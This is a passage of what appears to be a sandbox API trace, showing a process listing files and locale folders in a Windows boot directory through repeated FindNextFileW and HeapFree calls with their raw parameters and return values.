ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0192.164] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.164] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.164] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.164] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0192.164] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.165] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0192.165] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.165] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0192.165] FindNextFileW (in: hFindFile=0x750f10, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.165] FindClose (in: hFindFile=0x750f10 | out: hFindFile=0x750f10) returned 1 [0192.165] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.165] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0192.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.166] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0192.168] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.168] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0192.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.169] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0192.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.169] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0192.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.169] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0192.170] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.170] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0192.170] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.170] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0192.170] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.170] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0192.170] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.171] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0192.171] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.171] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0192.171] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.171] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0192.171] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.171] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0192.172] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.172] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0192.172] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.172] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0192.172] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.172] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0192.173] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.173] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0192.173] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.173] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0192.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0192.177] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0192.177] FindClose (in: hFindFile=0x751450 | out: hFindFile=0x751450) returned 1 [0192.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.177] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0192.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.177] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0192.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.178] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0192.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.178] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0192.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.178] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0192.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.178] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0192.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.179] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0192.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.179] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0192.179] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.179] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0192.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.180] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0192.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.180] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0192.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.180] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0192.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.180] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0192.181] FindClose (in: hFindFile=0x751350 | out: hFindFile=0x751350) returned 1 [0192.181] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0192.182] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0192.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.183] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0192.183] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.183] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x2026, 